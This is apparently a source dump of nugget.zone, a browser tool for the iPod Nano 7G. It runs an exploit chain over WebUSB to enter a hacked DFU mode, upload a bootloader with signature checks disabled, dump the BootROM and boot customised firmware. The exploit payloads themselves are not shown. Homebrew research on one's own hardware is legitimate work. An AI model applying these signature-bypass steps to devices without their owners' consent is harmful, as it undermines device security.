1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . ================================================ FILE: web/Makefile ================================================ TSC ?= tsgo default: run server.elf: server/main.go go build -o $@ ./server dist/wiwali.wasm: @mkdir -p dist GOOS=js GOARCH=wasm go build -o dist/wiwali.wasm ./wiwali dist/wasm_exec.js: @mkdir -p dist cp "$$(go env GOROOT)/misc/wasm/wasm_exec.js" dist/wasm_exec.js node_modules: package.json yarn.lock yarn check: node_modules $(TSC) -noEmit -p tsconfig.json | tee check.log @ ! grep -q error check.log dist/components.js: $(wildcard src/*.ts) check node_modules @mkdir -p dist esbuild --bundle --minify --sourcemap --target=es2020 src/components.ts > $@ dist/index.html: index.html @mkdir -p dist cp $< $@ dist/edk2.wasm: ../pkg/efi/compression/edk2.wasm @mkdir -p dist cp $< $@ dist/favicon.png: favicon.png @mkdir -p dist cp $< $@ dist: dist/wiwali.wasm dist/wasm_exec.js dist/components.js dist/index.html dist/edk2.wasm dist/favicon.png deploy: dist $(if $(HOST),,$(error HOST must be set)) rsync -ayvz dist/ $(HOST):/var/www/nugget.zone/ run: dist server.elf ./server.elf -root dist clean: rm -rf dist check.log node_modules server.elf .PHONY: dist/wiwali.wasm clean check dist deploy ================================================ FILE: web/README.md ================================================ nugget.zone =========== Alpha-stage web interface to wInd3x. Architecture ------------ wInd3x is exported as `wiwali` (the wInd3x Wasm Library), which is compiled to WebAssembly and loaded by the Typescript/ECMAScript app. Because wInd3x itself already uses WebAssembly (via wazero) to include the TianoCore compression algorithm, it has to be injected by the app at startup to provide it with the same functionality from the same Emscripten bundle, but not loaded by the browser instead of wazero. The Typescript/ECMAScript app is frameworkless and based around lit.js WebComponents. Getting started --------------- $ nix-shell $ make run To just package, do `make dist` and deploy `dist` to your webserver. License ------- Unlike the rest of wInd3x, the nugget.zone codebase (Go bindings, Typescript code, etc.) is AGPL licensed. See COPYING for more details. ================================================ FILE: web/index.html ================================================ nugget.zone - alpha 1 ================================================ FILE: web/package.json ================================================ { "name": "nuggetzone", "version": "1.0-rc1", "main": "src/main.ts", "author": "q3k & freemyipod crew", "license": "AGPL-3.0", "dependencies": { "@lit/task": "^1.0.2", "lit": "^3.2.1" }, "devDependencies": { "@types/w3c-web-usb": "^1.0.10", "@types/wicg-file-system-access": "^2023.10.6" } } ================================================ FILE: web/server/README.md ================================================ Dev backend server for nugget.zone. Serves dist/ and proxies downloads from Apple CDN (for CORS reasons). ================================================ FILE: web/server/main.go ================================================ package main import ( "flag" "log" "net/http" "net/http/httputil" "net/url" ) var ( flagRoot string flagListen string ) func main() { flag.StringVar(&flagRoot, "root", ".", "Directory to serve files from") flag.StringVar(&flagListen, "listen", ":8000", "Address to listen on ") flag.Parse() proxy := &httputil.ReverseProxy{ Rewrite: func(r *httputil.ProxyRequest) { r.SetURL(&url.URL{ Scheme: "http", Host: "appldnld.apple.com", }) }, } http.Handle("/ipod/", proxy) http.Handle("/iPod/", proxy) http.Handle("/", http.FileServer(http.Dir(flagRoot))) log.Fatal(http.ListenAndServe(flagListen, nil)) } ================================================ FILE: web/shell.nix ================================================ with import {}; let tsgo = pkgs.buildGoModule { name = "tsgo-2025-03-05"; src = pkgs.fetchFromGitHub { owner = "microsoft"; repo = "typescript-go"; rev = "5778a352bad26e285bec4da5f0e831140485522d"; hash = "sha256-CfihPE6Wds0UqNfATCvAa4i0G9k85hy4bS6btSPrdjM="; }; vendorHash = "sha256-HCoWmTdBDACcRHdzZA4Z4TYvoDBnt778w+Twhw+vId8="; doCheck = false; }; in pkgs.mkShell { buildInputs = with pkgs; [ esbuild yarn tsgo ]; } ================================================ FILE: web/src/components.ts ================================================ import {html, css, LitElement, PropertyValues} from 'lit'; import {Task, TaskStatus} from '@lit/task'; import {customElement, property, state} from 'lit/decorators.js'; import { load as loadGo, Exports, PayloadKind, InterfaceKind, DeviceDescription, App as GoApp, DeviceKind } from "./go.js"; import { load as loadEdk2} from "./edk2.js"; var go: Exports | null = null; const commonStyles = css` .attention { background-color: #ffeeee; padding: 0.5em 2em 0.5em 2em; } .okay { background-color: #eeffee; padding: 0.5em 2em 0.5em 2em; } button { padding: 0.5em; } h1 small { color: #444; } li { line-height: 1.5em; } p { line-height: 1.5em; } `; @customElement("nz-disclaimer") export class Disclaimer extends LitElement { static styles = [commonStyles]; @state() protected _accepted: boolean = false; @state() protected _toast: string = ""; @state() _checked: boolean = false; render() { return html`

Welcome to the nugget zone! alpha 2

This little web tool is a proof of concept to demonstrate custom-firmware-like capabilities on the iPod Nano 7th Gen. It allows you to run a customized version of the stock software fully in memory and reversible by reboot.

Current customizations are:

  1. 'freemyipod' branding on the USB connection screen.

This tool is based upon the wInd3x toolkit, but runs fully in your browser. It makes use of multiple vulnerabilities and exploit chains discovered by many people, eg.: __gsch, q3k, and others.

It maintained by q3k, who can be reached at q3k@q3k.org by email or @q3k:hackerspace.pl on Matrix.

Warranty Disclaimer

Nugget.zone is experimental software with absolutely no warranty given. While iPods are quite resiliant to bricking, they are not fully immune to it. No bricking has been reported as result of using this software, but that doesn't mean it can't happen - you have been warned.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

${this._toast != "" ? html`

${this._toast}

` : html``}
`; } continue() { if (this._accepted) { if (navigator.usb === undefined) { alert("Your browser doesn't support WebUSB. Please use Chrome/Chromium/Edge instead.") } else { this.dispatchEvent(new CustomEvent('accepted', { detail: { usb: navigator.usb, }, })); } } else { this._toast = "Please read and accept the disclaimer above before continuing."; } } } class RunError extends Error {} @customElement("nz-device-connected") export class DeviceConnected extends LitElement { render() { } } interface Connected { app: GoApp, di: DeviceDescription, manufacturer?: string, } @customElement("nz-hex-dump") export class HexDump extends LitElement { static styles = [commonStyles, css` pre { height: 32em; overflow-y: scroll; background-color: #280040; color: #ffffff; padding: 1em; } `]; private _dump(array: Array, offset: bigint): string { let lines = []; for (let i = 0; i < array.length; i += 16) { const block = array.slice(i, Math.min(i + 16, array.length)); const addr = BigInt(offset) + BigInt(i); const addrStr = ("00000000" + addr.toString(16)).slice(-8); const hex = block.map((n) => { const v = ("0" + n.toString(16)).slice(-2); return v; }) const ascii = block.map((n) => { let v = "."; if (n >= 0x20 && n <= 0x7e) { v = String.fromCharCode(n); } return v; }) lines.push(addrStr + "| " + hex.join(" ") + " |" + ascii.join("")); } return lines.join("\n"); } @property() data: Array = [] @property() offset: bigint = BigInt(0) render() { return html`
${this._dump(this.data, this.offset)}
`; } } interface Step { description: string, percentage: number, } class Progress { steps: Array; constructor() { this.steps = []; } reset() { this.steps = []; } step(description: string): Step { console.log("Progress: Starting step " + description); const prev = this.steps.length; if (prev > 0) { this.steps[prev-1].percentage = 1.0; } const step = { description, percentage: 0, }; this.steps.push(step); return step; } } @customElement("nz-wtf-device") export class WTFDevice extends LitElement { @property() connected?: Connected @state() _progress: Progress = new Progress; @state() _bootrom: Array = []; static styles = [commonStyles]; private _cfwTask = new Task(this, { task: async ([], {signal}) => { if (this.connected === undefined) { throw new RunError("not connected"); } this._progress.reset(); let step = this._progress.step("Uploading RetailOS CFW..."); await this.connected.app.SendPayload(PayloadKind.RetailOSCustomized, (done) => { step.percentage = done; this.requestUpdate(); }); await this.requestUpdate(); this.dispatchEvent(new CustomEvent('started-cfw', { detail: {}, })); }, args: () => [], autoRun: false, }); render() { let cfw = this._cfwTask.render({ initial: () => html`

`, pending: () => html``, complete: () => html`

RetailOS CFW uploaded! To return to stock, simply reboot your device.

`, error: (e) => html`

RetailOS CFW upload failed: ${e}.

`, }); let progress = this._progress.steps.map((step) => { return html`
  • ${step.description}: ${Math.floor(step.percentage * 100)}%
  • `; }); let progress_ = html`

      ${progress}

    `; return html`

    You can now upload a customized RetailOS firmware.

    ${progress.length > 0 ? progress_ : html``} ${cfw} `; } sendCFW() { this._bootrom = []; this._cfwTask.run(); } } @customElement("nz-dfu-device") export class DFUDevice extends LitElement { @property() connected?: Connected @state() _progress: Progress = new Progress; @state() _bootrom: Array = []; @state() _disabled = false; static styles = [commonStyles]; private _dumpTask = new Task(this, { task: async ([], {signal}) => { if (this.connected === undefined) { throw new RunError("not connected"); } this._progress.reset(); this._progress.step("Running S5Late..."); await this.connected.app.PrepareUSB(); let step = this._progress.step("Dumping BootROM..."); const size = 0x10000; const blockSize = 0x40; const blocks = size / blockSize; for (let i = 0; i < blocks; i++) { let mem = await this.connected.app.DumpMem(BigInt("0x20000000") + BigInt(i) * BigInt(blockSize)); let memArray = Array.from(mem); this._bootrom.push(...memArray); step.percentage = i / blocks; this.requestUpdate(); } step.percentage = 1; }, args: () => [], autoRun: false, }); private _saveTask = new Task(this, { task: async ([], {signal}) => { if (this._bootrom.length === 0) { throw new RunError("No BootROM dump!") } const handle = await showSaveFilePicker({ startIn: "downloads", suggestedName: "bootrom-n7g.bin", types: [{description: "Raw Binary", accept: {"application/octet-stream": ".bin"}}] }); const writable = await handle.createWritable(); const array = new Uint8Array(this._bootrom); await writable.write(array); await writable.close(); }, args: () => [], autoRun: false, }); private async prepareStep(kind: PayloadKind, name: string) { if (this.connected === undefined) { throw new RunError("not connected"); } let step = this._progress.step(name); await this.requestUpdate(); await this.connected.app.PreparePayload(kind, (done) => { step.percentage = done; this.requestUpdate(); }); step.percentage = 1; await this.requestUpdate(); } private _wtfTask = new Task(this, { task: async ([], {signal}) => { if (this.connected === undefined) { throw new RunError("not connected"); } this._progress.reset(); await this.prepareStep(PayloadKind.WTFUpstream, "Downloading WTF..."); await this.prepareStep(PayloadKind.WTFDecrypted, "Decrypting WTF..."); await this.prepareStep(PayloadKind.WTFDefanged, "Defanging WTF..."); await this.prepareStep(PayloadKind.RetailOSUpstream, "Downloading RetailOS..."); await this.prepareStep(PayloadKind.RetailOSDecrypted, "Decrypting RetailOS (this will take a while)..."); let step = this._progress.step("Triggering HaxedDFU mode..."); await this.connected.app.HaxDFU(); step.percentage = 1; await this.requestUpdate(); step = this._progress.step("Uploading defanged WTF..."); await this.connected.app.SendPayload(PayloadKind.WTFDefanged, (done) => { step.percentage = done; this.requestUpdate(); }); await this.requestUpdate(); this._disabled = true; this.dispatchEvent(new CustomEvent('switched-to-wtf', { detail: {}, })); }, args: () => [], autoRun: false, }); render() { let nonePending = (this._dumpTask.status !== TaskStatus.PENDING) && (this._wtfTask.status !== TaskStatus.PENDING); let save = this._saveTask.render({ initial: () => html` `, pending: () => html` Saving... `, complete: () => html` Saved! `, error: (e) => html` Error: ${e} `, }); let dump = this._dumpTask.render({ complete: () => html`

    BootROM dump complete! ${save}

    `, error: (e) => html`

    BootROM dump failed: ${e}.

    `, }); let wtf = this._wtfTask.render({ complete: () => html`

    Defanged WTF uploaded!

    `, error: (e) => html`

    Defanged WTF upload failed:: ${e}.

    `, }); let button = (nonePending && !this._disabled) ? html`

    ` : html``; let progress = this._progress.steps.map((step) => { return html`
  • ${step.description}: ${Math.floor(step.percentage * 100)}%
  • `; }); let progress_ = html`

      ${progress}

    `; return html`

    You can now select to either dump the device's BootROM (useful for developers) or continue booting a CFW by sending a Defanged WTF (a second stage bootloader with signature checks disabled).

    ${progress.length > 0 ? progress_ : html``} ${wtf} ${dump} ${button} `; } saveBootROM() { this._saveTask.run(); } dumpBootROM() { this._bootrom = []; this._dumpTask.run(); } sendDefangedWTF() { this._bootrom = []; this._wtfTask.run(); } } @customElement("nz-main") export class Main extends LitElement { @property() usb: USB | null = null; static styles = [commonStyles]; private _loadTask = new Task(this, { task: async ([], {signal}) => { if (go === null) { const edk2 = await loadEdk2(); go = await loadGo(); await go.setup(edk2); } }, args: () => [], }); private async _connect(): Promise { if (this.usb === null) { throw new RunError("no WebUSB support - how did you get here?"); } if (go === null) { throw new RunError("go/wasm not loaded"); } let usb = this.usb; let device = await usb.requestDevice({ filters: [ // Request everything by Apple... {vendorId: 0x05ac}, ] }); let app = await go.newApp(device); const di = await app.GetDeviceDescription(); let manufacturer = "unknown"; if (di.interfaceKind != InterfaceKind.Disk) { await app.PrepareUSB(); manufacturer = (await app.GetStringDescriptors()).manufacturer } return {app, di, manufacturer}; } private _wtfTask = new Task(this, { task: async ([], {signal}): Promise => { return await this._connect(); }, autoRun: false, args: () => [], }); private _dfuTask = new Task(this, { task: async ([], {signal}): Promise => { return await this._connect(); }, autoRun: false, args: () => [], }); private runDFU() { this._dfuTask.run(); } private runWTF() { this._wtfTask.run(); } @state() private _inWTF: boolean = false; private switchedToWTF() { this._inWTF = true; } private startedCFW() { } @state() private _hideInstructions: boolean = false; render() { let dfu = this._dfuTask.render({ initial: () => html`

    `, pending: () => html`

    Waiting for device...

    `, complete: (c: Connected) => { if (c.di.interfaceKind === InterfaceKind.DFU) { if ([DeviceKind.Nano7, DeviceKind.Nano7Late].includes(c.di.kind)) { this._hideInstructions = true; return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind}. All good!

    `; } else { return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind}. That's not an iPod Nano 7G!

    `; } } else { return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind}. That's not DFU mode! Please follow the instructions above and try again.

    `; } }, error: (e) => html`

    Could not connect to device: ${e}

    `, }); let wtf = this._wtfTask.render({ initial: () => html`

    The device should have switched to defanged WTF mode now. You will need to reconnect to it:

    `, pending: () => html`

    Waiting for device...

    `, complete: (c: Connected) => { if (c.di.interfaceKind === InterfaceKind.WTF && c.manufacturer === "freemyipod") { if ([DeviceKind.Nano7, DeviceKind.Nano7Late].includes(c.di.kind)) { this._hideInstructions = true; return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. All good!

    `; } else { return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. That's not an iPod Nano 7G! What are you even doing..?

    `; } } else { return html`

    Connected to ${c.di.kind} over ${c.di.interfaceKind} with manufacturer ${c.manufacturer}. That's not defanged WTF mode! Something went wrong. Try again from scratch after restarting your device into DFU mode.

    `; } }, error: (e) => html`

    Could not connect to device: ${e}

    `, }); return this._loadTask.render({ initial: () => html`

    dingus

    `, pending: () => html`

    Loading wInd3x and edk2...

    This might take a while (~10MiB to download!).

    `, error: (e) => html`

    Loading wInd3x and edk2...

    Load error: ${e}

    `, complete: () => { let instructions = html`

    Please read these instructions carefully!

    1. Connect your iPod Nano 7G to this computer. No other generation is currently supported!
    2. Press the button below - but read the rest of the instructions first!
    3. A list of compatible devices will appear. It should contain an Apple iPod in disk/retail mode (“iPod”).
